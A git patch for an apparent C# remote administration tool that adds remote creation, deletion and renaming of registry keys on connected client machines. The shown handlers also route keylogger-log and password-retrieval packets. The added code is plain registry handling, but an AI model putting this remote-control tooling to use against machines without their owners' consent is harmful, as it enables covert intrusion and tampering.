From 8276dc479f1f009fdd29b05d0d4f427864eee021 Mon Sep 17 00:00:00 2001 From: StingRaptor Date: Thu, 21 Jan 2016 18:58:52 +0100 Subject: [PATCH] Added functionality for performing Create, Delete and Rename on the RegistryKey's. --- Client/Client.csproj | 1 + Client/Core/Commands/RegistryHandler.cs | 63 ++++++ .../Core/Extensions/RegistryKeyExtensions.cs | 168 +++++++++++++++ Client/Core/Packets/PacketHandler.cs | 12 ++ Client/Core/Registry/RegistryEditor.cs | 166 +++++++++++++++ Server/Core/Commands/RegistryHandler.cs | 60 ++++++ Server/Core/Packets/PacketHandler.cs | 12 ++ Server/Forms/FrmRegistryEditor.Designer.cs | 98 ++++----- Server/Forms/FrmRegistryEditor.cs | 196 +++++++++++++++++- Server/Forms/FrmRegistryEditor.resx | 2 +- 10 files changed, 727 insertions(+), 51 deletions(-) create mode 100644 Client/Core/Registry/RegistryEditor.cs diff --git a/Client/Client.csproj b/Client/Client.csproj index 52aa3885..ea62f507 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -109,6 +109,7 @@ + diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs index 94b95054..23e79268 100644 --- a/Client/Core/Commands/RegistryHandler.cs +++ b/Client/Core/Commands/RegistryHandler.cs @@ -53,5 +53,68 @@ public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoa catch { } } + + public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.DoCreateRegistryKey packet, Client client) + { + xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse(); + string errorMsg = ""; + string newKeyName = ""; + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + + responsePacket.Match = new RegSeekerMatch(newKeyName, new List(), 0); + responsePacket.ParentPath = packet.ParentPath; + + responsePacket.Execute(client); + } + + public static void HandleDeleteRegistryKey(xClient.Core.Packets.ServerPackets.DoDeleteRegistryKey packet, Client client) + { + xClient.Core.Packets.ClientPackets.GetDeleteRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryKeyResponse(); + string errorMsg = ""; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(packet.KeyName, packet.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = packet.ParentPath; + responsePacket.KeyName = packet.KeyName; + + responsePacket.Execute(client); + } + + public static void HandleRenameRegistryKey(xClient.Core.Packets.ServerPackets.DoRenameRegistryKey packet, Client client) + { + xClient.Core.Packets.ClientPackets.GetRenameRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryKeyResponse(); + string errorMsg = ""; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(packet.OldKeyName, packet.NewKeyName, packet.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = packet.ParentPath; + responsePacket.OldKeyName = packet.OldKeyName; + responsePacket.NewKeyName = packet.NewKeyName; + + responsePacket.Execute(client); + } } } diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs index abbaf63a..a12e1c20 100644 --- a/Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Client/Core/Extensions/RegistryKeyExtensions.cs @@ -80,6 +80,174 @@ public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string na } } + /// + /// Attempts to create a writable sub key from the key provided using the specified + /// name. This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is to be created from. + /// The name of the sub-key. + /// Returns the sub-key that was created for the key and name provided; Returns null if + /// unable to create a sub-key. + public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name) + { + try + { + return key.CreateSubKey(name); + } + catch + { + return null; + } + } + + /// + /// Attempts to delete a sub-key and its children from the key provided using the specified + /// name. + /// + /// The key of which the sub-key is to be deleted from. + /// The name of the sub-key. + /// Returns boolean value if the action succeded or failed + /// + public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) + { + try + { + key.DeleteSubKeyTree(name, false); + return true; + } + catch + { + return false; + } + } + + #region Rename + + /* + * Derived and Adapted from drdandle's article, + * Copy and Rename Registry Keys at Code project. + * Copy and Rename Registry Keys (Post Date: November 11, 2006) + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This is a work that is not of the original. It + * has been modified to suit the needs of another + * application. + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * First Modified by StingRaptor on January 21, 2016 + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Original Source: + * http://www.codeproject.com/Articles/16343/Copy-and-Rename-Registry-Keys + */ + + /// + /// Attempts to rename a sub-key to the key provided using the specified old + /// name and new name. + /// + /// The key of which the subkey is to be renamed from. + /// The old name of the sub-key. + /// The new name of the sub-key. + /// Returns boolean value if the action succeded or failed; Returns + /// + public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName) + { + try + { + //Copy from old to new + key.CopyKey(oldName, newName); + //Despose of the old key + key.DeleteSubKeyTree(oldName); + return true; + } + catch + { + //Try to despose of the newKey (The rename failed) + key.DeleteSubKeyTreeSafe(newName); + return false; + } + } + + /// + /// Attempts to copy a old subkey to a new subkey for the key + /// provided using the specified old name and new name. (throws exceptions) + /// + /// The key of which the subkey is to be deleted from. + /// The old name of the sub-key. + /// The new name of the sub-key. + /// Returns nothing + /// + public static void CopyKey(this RegistryKey key, string oldName, string newName) + { + //Create a new key + using (RegistryKey newKey = key.CreateSubKey(newName)) + { + + //Open old key + using (RegistryKey oldKey = key.OpenSubKey(oldName, true)) + { + + //Copy from old to new + RecursiveCopyKey(oldKey, newKey); + } + } + } + + /// + /// Attempts to rename a sub-key to the key provided using the specified old + /// name and new name. + /// + /// The source key to copy from. + /// The destination key to copy to. + /// Returns nothing + /// + private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) + { + + //Copy all of the registry values + foreach (string valueName in sourceKey.GetValueNames()) + { + object valueObj = sourceKey.GetValue(valueName); + RegistryValueKind valueKind = sourceKey.GetValueKind(valueName); + destKey.SetValue(valueName, valueObj, valueKind); + } + + //Copy all of the subkeys + foreach (string subKeyName in sourceKey.GetSubKeyNames()) + { + using (RegistryKey sourceSubkey = sourceKey.OpenSubKey(subKeyName)) + { + using (RegistryKey destSubKey = destKey.CreateSubKey(subKeyName)) + { + //Recursive call to copy the sub key data + RecursiveCopyKey(sourceSubkey, destSubKey); + } + } + } + } + + #endregion + + #region FindKey + + /// + /// Checks if the specified subkey exists in the key + /// + /// The key of which to search. + /// The name of the sub-key to find. + /// Returns boolean value if the action succeded or failed + /// + public static bool ContainsSubKey(this RegistryKey key, string name) + { + foreach (string subkey in key.GetSubKeyNames()) + { + if (subkey == name) + { + return true; + } + } + return false; + } + + #endregion + /// /// Gets all of the value names associated with the registry key and returns /// formatted strings of the filtered values. diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs index f7ca973a..cf1c057a 100644 --- a/Client/Core/Packets/PacketHandler.cs +++ b/Client/Core/Packets/PacketHandler.cs @@ -128,6 +128,18 @@ public static void HandlePacket(Client client, IPacket packet) { CommandHandler.HandleGetRegistryKey((ServerPackets.DoLoadRegistryKey)packet, client); } + else if (type == typeof(ServerPackets.DoCreateRegistryKey)) + { + CommandHandler.HandleCreateRegistryKey((ServerPackets.DoCreateRegistryKey)packet, client); + } + else if (type == typeof(ServerPackets.DoDeleteRegistryKey)) + { + CommandHandler.HandleDeleteRegistryKey((ServerPackets.DoDeleteRegistryKey)packet, client); + } + else if (type == typeof(ServerPackets.DoRenameRegistryKey)) + { + CommandHandler.HandleRenameRegistryKey((ServerPackets.DoRenameRegistryKey)packet, client); + } else if (type == typeof(ServerPackets.GetKeyloggerLogs)) { CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client); diff --git a/Client/Core/Registry/RegistryEditor.cs b/Client/Core/Registry/RegistryEditor.cs new file mode 100644 index 00000000..299a8ff7 --- /dev/null +++ b/Client/Core/Registry/RegistryEditor.cs @@ -0,0 +1,166 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xClient.Core.Extensions; + +namespace xClient.Core.Registry +{ + public class RegistryEditor + { + /// + /// Attempts to create the desired sub key to the specified parent. + /// + /// The path to the parent for which to create the sub-key on. + /// /// output parameter that holds the name of the sub-key that was create. + /// output parameter that contians possible error message. + /// Returns boolean value for if the operation failed or succeded. + public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg) + { + name = ""; + try + { + RegistryKey parent = RegistrySeeker.GetWritableRegistryKey(parentPath); + + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have access to open registry: " + parentPath + ", try running as administrator"; + return false; + } + + //Try to find available names + int i = 1; + string testName = String.Format("New Key #{0}", i); + + while (parent.ContainsSubKey(testName)) + { + i++; + testName = String.Format("New Key #{0}", i); + } + name = testName; + + using (RegistryKey child = parent.CreateSubKeySafe(name)) + { + //Child could not be created + if (child == null) + { + errorMsg = "Cannot create key: Error writing to the registry"; + return false; + } + } + + //Child was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + /// + /// Attempts to delete the desired sub-key from the specified parent. + /// + /// The name of the sub-key to delete. + /// The path to the parent for which to delete the sub-key on. + /// output parameter that contians possible error message. + /// Returns boolean value for if the operation failed or succeded. + public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg) + { + try + { + RegistryKey parent = RegistrySeeker.GetWritableRegistryKey(parentPath); + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have access to open registry: " + parentPath + ", try running as administrator"; + return false; + } + + //Child does not exist + if (!parent.ContainsSubKey(name)) + { + errorMsg = "The registry: " + name + " does not exist in: " + parentPath; + //If child does not exists then the action has already succeded + return true; + } + + bool success = parent.DeleteSubKeyTreeSafe(name); + + //Child could not be deleted + if (!success) + { + errorMsg = "Cannot delete key: Error writing to the registry"; + return false; + } + + //Child was successfully deleted + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to rename the desired key. + /// + /// The name of the key to rename. + /// The name to use for renaming. + /// The path of the parent for which to rename the key. + /// output parameter that contians possible error message. + /// Returns boolean value for if the operation failed or succeded. + public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg) + { + try + { + + RegistryKey parent = RegistrySeeker.GetWritableRegistryKey(parentPath); + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have access to open registry: " + parentPath + ", try running as administrator"; + return false; + } + + //Child does not exist + if (!parent.ContainsSubKey(oldName)) + { + errorMsg = "The registry: " + oldName + " does not exist in: " + parentPath; + //If child does not exists then the action has already succeded + return false; + } + + bool success = parent.RenameSubKeySafe(oldName, newName); + + //Child could not be deleted + if (!success) + { + errorMsg = "Cannot rename key: Error writing to the registry"; + return false; + } + + //Child was successfully deleted + errorMsg = ""; + return true; + + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + } +} diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs index 9231904f..fe2cd7e2 100644 --- a/Server/Core/Commands/RegistryHandler.cs +++ b/Server/Core/Commands/RegistryHandler.cs @@ -26,5 +26,65 @@ public static void HandleLoadRegistryKey(xServer.Core.Packets.ClientPackets.GetR catch { } } + + public static void HandleCreateRegistryKey(xServer.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.AddKeyToTree(packet.ParentPath, packet.Match); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + } + } + } + catch { } + } + + public static void HandleDeleteRegistryKey(xServer.Core.Packets.ClientPackets.GetDeleteRegistryKeyResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.RemoveKeyFromTree(packet.ParentPath, packet.KeyName); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + } + } + } + catch { } + } + + public static void HandleRenameRegistryKey(xServer.Core.Packets.ClientPackets.GetRenameRegistryKeyResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.RenameKeyFromTree(packet.ParentPath, packet.OldKeyName, packet.NewKeyName); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + } + } + } + catch { } + } } } diff --git a/Server/Core/Packets/PacketHandler.cs b/Server/Core/Packets/PacketHandler.cs index deda0c02..22cae648 100644 --- a/Server/Core/Packets/PacketHandler.cs +++ b/Server/Core/Packets/PacketHandler.cs @@ -70,6 +70,18 @@ public static void HandlePacket(Client client, IPacket packet) { CommandHandler.HandleLoadRegistryKey((ClientPackets.GetRegistryKeysResponse)packet, client); } + else if (type == typeof(ClientPackets.GetCreateRegistryKeyResponse)) + { + CommandHandler.HandleCreateRegistryKey((ClientPackets.GetCreateRegistryKeyResponse)packet, client); + } + else if (type == typeof(ClientPackets.GetDeleteRegistryKeyResponse)) + { + CommandHandler.HandleDeleteRegistryKey((ClientPackets.GetDeleteRegistryKeyResponse)packet, client); + } + else if (type == typeof(ClientPackets.GetRenameRegistryKeyResponse)) + { + CommandHandler.HandleRenameRegistryKey((ClientPackets.GetRenameRegistryKeyResponse)packet, client); + } else if (type == typeof(ClientPackets.GetPasswordsResponse)) { CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet); diff --git a/Server/Forms/FrmRegistryEditor.Designer.cs b/Server/Forms/FrmRegistryEditor.Designer.cs index 20f3a977..efa0db05 100644 --- a/Server/Forms/FrmRegistryEditor.Designer.cs +++ b/Server/Forms/FrmRegistryEditor.Designer.cs @@ -37,16 +37,16 @@ private void InitializeComponent() this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); this.imageRegistryDirectoryList = new System.Windows.Forms.ImageList(this.components); this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components); - this.lstRegistryKeys = new xServer.Controls.AeroListView(); - this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.keyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); + this.lstRegistryKeys = new xServer.Controls.AeroListView(); + this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.tableLayoutPanel.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit(); this.splitContainer.Panel1.SuspendLayout(); @@ -99,6 +99,7 @@ private void InitializeComponent() this.tvRegistryDirectory.SelectedImageIndex = 0; this.tvRegistryDirectory.Size = new System.Drawing.Size(411, 664); this.tvRegistryDirectory.TabIndex = 0; + this.tvRegistryDirectory.AfterLabelEdit += new System.Windows.Forms.NodeLabelEditEventHandler(this.tvRegistryDirectory_AfterLabelEdit); this.tvRegistryDirectory.BeforeExpand += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeExpand); this.tvRegistryDirectory.NodeMouseClick += new System.Windows.Forms.TreeNodeMouseClickEventHandler(this.tvRegistryDirectory_NodeMouseClick); // @@ -129,6 +130,52 @@ private void InitializeComponent() this.imageRegistryKeyTypeList.ImageSize = new System.Drawing.Size(16, 16); this.imageRegistryKeyTypeList.TransparentColor = System.Drawing.Color.Transparent; // + // contextMenuStrip + // + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.newToolStripMenuItem, + this.toolStripSeparator1, + this.deleteToolStripMenuItem, + this.renameToolStripMenuItem}); + this.contextMenuStrip.Name = "contextMenuStrip"; + this.contextMenuStrip.Size = new System.Drawing.Size(153, 98); + // + // newToolStripMenuItem + // + this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.keyToolStripMenuItem}); + this.newToolStripMenuItem.Name = "newToolStripMenuItem"; + this.newToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.newToolStripMenuItem.Text = "New"; + // + // deleteToolStripMenuItem + // + this.deleteToolStripMenuItem.Enabled = false; + this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; + this.deleteToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.deleteToolStripMenuItem.Text = "Delete"; + this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteRegistryKey_Click); + // + // renameToolStripMenuItem + // + this.renameToolStripMenuItem.Enabled = false; + this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; + this.renameToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.renameToolStripMenuItem.Text = "Rename"; + this.renameToolStripMenuItem.Click += new System.EventHandler(this.renameRegistryKey_Click); + // + // keyToolStripMenuItem + // + this.keyToolStripMenuItem.Name = "keyToolStripMenuItem"; + this.keyToolStripMenuItem.Size = new System.Drawing.Size(93, 22); + this.keyToolStripMenuItem.Text = "Key"; + this.keyToolStripMenuItem.Click += new System.EventHandler(this.createNewRegistryKey_Click); + // + // toolStripSeparator1 + // + this.toolStripSeparator1.Name = "toolStripSeparator1"; + this.toolStripSeparator1.Size = new System.Drawing.Size(149, 6); + // // lstRegistryKeys // this.lstRegistryKeys.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { @@ -159,49 +206,6 @@ private void InitializeComponent() this.hValue.Text = "Value"; this.hValue.Width = 384; // - // contextMenuStrip - // - this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.newToolStripMenuItem, - this.toolStripSeparator1, - this.deleteToolStripMenuItem, - this.renameToolStripMenuItem}); - this.contextMenuStrip.Name = "contextMenuStrip"; - this.contextMenuStrip.Size = new System.Drawing.Size(153, 98); - // - // newToolStripMenuItem - // - this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.keyToolStripMenuItem}); - this.newToolStripMenuItem.Name = "newToolStripMenuItem"; - this.newToolStripMenuItem.Size = new System.Drawing.Size(152, 22); - this.newToolStripMenuItem.Text = "New"; - // - // deleteToolStripMenuItem - // - this.deleteToolStripMenuItem.Enabled = false; - this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; - this.deleteToolStripMenuItem.Size = new System.Drawing.Size(152, 22); - this.deleteToolStripMenuItem.Text = "Delete"; - // - // renameToolStripMenuItem - // - this.renameToolStripMenuItem.Enabled = false; - this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; - this.renameToolStripMenuItem.Size = new System.Drawing.Size(152, 22); - this.renameToolStripMenuItem.Text = "Rename"; - // - // keyToolStripMenuItem - // - this.keyToolStripMenuItem.Name = "keyToolStripMenuItem"; - this.keyToolStripMenuItem.Size = new System.Drawing.Size(152, 22); - this.keyToolStripMenuItem.Text = "Key"; - // - // toolStripSeparator1 - // - this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(149, 6); - // // FrmRegistryEditor // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index 65999c35..95bcbe7c 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -120,6 +120,67 @@ public void AddKeysToTree(string rootName, RegSeekerMatch[] matches) } } + public void AddKeyToTree(string rootKey, RegSeekerMatch match) + { + TreeNode parent = GetParentTreeNode(rootKey); + + tvRegistryDirectory.Invoke((MethodInvoker)delegate + { + //This will execute in the form thread + TreeNode node = CreateNode(match.Key, match.Key, match.Data); + if (match.HasSubKeys) + { + node.Nodes.Add(new TreeNode()); + } + parent.Nodes.Add(node); + if (!parent.IsExpanded) + { + tvRegistryDirectory.SelectedNode = parent; + tvRegistryDirectory.AfterExpand += new System.Windows.Forms.TreeViewEventHandler(this.specialCreateRegistryKey_AfterExpand); + parent.Expand(); + } + else + { + tvRegistryDirectory.SelectedNode = node; + tvRegistryDirectory.LabelEdit = true; + node.BeginEdit(); + } + }); + } + + public void RemoveKeyFromTree(string rootKey, string subKey) + { + TreeNode parent = GetParentTreeNode(rootKey); + + //Error key does not exists + if (!parent.Nodes.ContainsKey(subKey)) + return; + + tvRegistryDirectory.Invoke((MethodInvoker)delegate + { + parent.Nodes.RemoveByKey(subKey); + }); + + } + + public void RenameKeyFromTree(string rootKey, string oldName, string newName) + { + TreeNode parent = GetParentTreeNode(rootKey); + + //Error the key does not exist + if (!parent.Nodes.ContainsKey(oldName)) + return; + + int index = parent.Nodes.IndexOfKey(oldName); + + //Temp - Should not be neccesary (only need to confirm the add) + tvRegistryDirectory.Invoke((MethodInvoker)delegate + { + parent.Nodes[index].Text = newName; + parent.Nodes[index].Name = newName; + }); + } + /// /// Using the RegSeekerMatch's name, obtain the parent TreeNode of the match, creating /// the TreeNodes if necessary. @@ -197,6 +258,19 @@ private TreeNode GetParentTreeNode(string rootName) #endregion + #region Popup actions + + public void ShowErrorMessage(string errorMsg) + { + this.Invoke((MethodInvoker)delegate + { + MessageBox.Show(errorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + }); + + } + + #endregion + #region ListView Helpfunctions public void PopulateLstRegistryKeys(List values) @@ -219,6 +293,43 @@ public void PopulateLstRegistryKeys(List values) #region tvRegistryDirectory Action + private void tvRegistryDirectory_AfterLabelEdit(object sender, NodeLabelEditEventArgs e) + { + //No need to edit if it is null + if (e.Label != null) + { + //Prevent the change of the label + e.CancelEdit = true; + + if (e.Label.Length > 0) + { + foreach (TreeNode node in e.Node.Parent.Nodes) + { + if (node.Text == e.Label && node != e.Node) + { + //Prompt error + MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + e.Node.BeginEdit(); + return; + } + } + + //Normal rename action + //Perform Rename action + new xServer.Core.Packets.ServerPackets.DoRenameRegistryKey(e.Node.Parent.FullPath, e.Node.Name, e.Label).Execute(_connectClient); + + tvRegistryDirectory.LabelEdit = false; + } + else + { + //Prompt error + MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + e.Node.BeginEdit(); + + } + } + } + private void tvRegistryDirectory_BeforeExpand(object sender, TreeViewCancelEventArgs e) { // Before expansion of the node, prepare the first node with RegistryKeys. @@ -230,13 +341,10 @@ private void tvRegistryDirectory_BeforeExpand(object sender, TreeViewCancelEvent try { tvRegistryDirectory.SuspendLayout(); - parentNode.Nodes.Clear(); // Send a packet to retrieve the data to use for the nodes. - new xServer.Core.Packets.ServerPackets.DoLoadRegistryKey(parentNode.FullPath).Execute(_connectClient); - } finally { @@ -281,5 +389,87 @@ private void tvRegistryDirectory_NodeMouseClick(object sender, TreeNodeMouseClic } #endregion + + #region ContextMenu + + private void createNewRegistryKey_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + if (!(tvRegistryDirectory.SelectedNode.IsExpanded) && tvRegistryDirectory.SelectedNode.Nodes.Count > 0) + { + //Subscribe + tvRegistryDirectory.AfterExpand += new System.Windows.Forms.TreeViewEventHandler(this.createRegistryKey_AfterExpand); + tvRegistryDirectory.SelectedNode.Expand(); + } + else + { + //Try to create a new subkey + new xServer.Core.Packets.ServerPackets.DoCreateRegistryKey(tvRegistryDirectory.SelectedNode.FullPath).Execute(_connectClient); + } + } + } + + private void deleteRegistryKey_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null && tvRegistryDirectory.SelectedNode.Parent != null) + { + //Prompt user to confirm delete + string msg = "Are you sure you want to permanently delete this key and all of its subkeys?"; + string caption = "Confirm Key Delete"; + var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + + if (answer == DialogResult.Yes) + { + string parentPath = tvRegistryDirectory.SelectedNode.Parent.FullPath; + + new xServer.Core.Packets.ServerPackets.DoDeleteRegistryKey(parentPath, tvRegistryDirectory.SelectedNode.Name).Execute(_connectClient); + } + } + } + + private void renameRegistryKey_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + tvRegistryDirectory.LabelEdit = true; + tvRegistryDirectory.SelectedNode.BeginEdit(); + } + } + + #endregion + + #region Handlers + + private void createRegistryKey_AfterExpand(object sender, TreeViewEventArgs e) + { + if (e.Node == tvRegistryDirectory.SelectedNode) + { + //Trigger a click + createNewRegistryKey_Click(this, e); + + //Unsubscribe + tvRegistryDirectory.AfterExpand -= new System.Windows.Forms.TreeViewEventHandler(this.createRegistryKey_AfterExpand); + } + } + + ////A special case for when the node was empty and add was performed before expand + private void specialCreateRegistryKey_AfterExpand(object sender, TreeViewEventArgs e) + { + if (e.Node == tvRegistryDirectory.SelectedNode) + { + tvRegistryDirectory.SelectedNode = tvRegistryDirectory.SelectedNode.FirstNode; + tvRegistryDirectory.LabelEdit = true; + + tvRegistryDirectory.SelectedNode.BeginEdit(); + + //Unsubscribe + tvRegistryDirectory.AfterExpand -= new System.Windows.Forms.TreeViewEventHandler(this.specialCreateRegistryKey_AfterExpand); + } + } + + #endregion + + } } diff --git a/Server/Forms/FrmRegistryEditor.resx b/Server/Forms/FrmRegistryEditor.resx index 126ff9e0..7d200cef 100644 --- a/Server/Forms/FrmRegistryEditor.resx +++ b/Server/Forms/FrmRegistryEditor.resx @@ -125,7 +125,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm - BwAAAk1TRnQBSQFMAwEBAAGgAQABoAEAARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA + BwAAAk1TRnQBSQFMAwEBAAHgAQAB4AEAARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm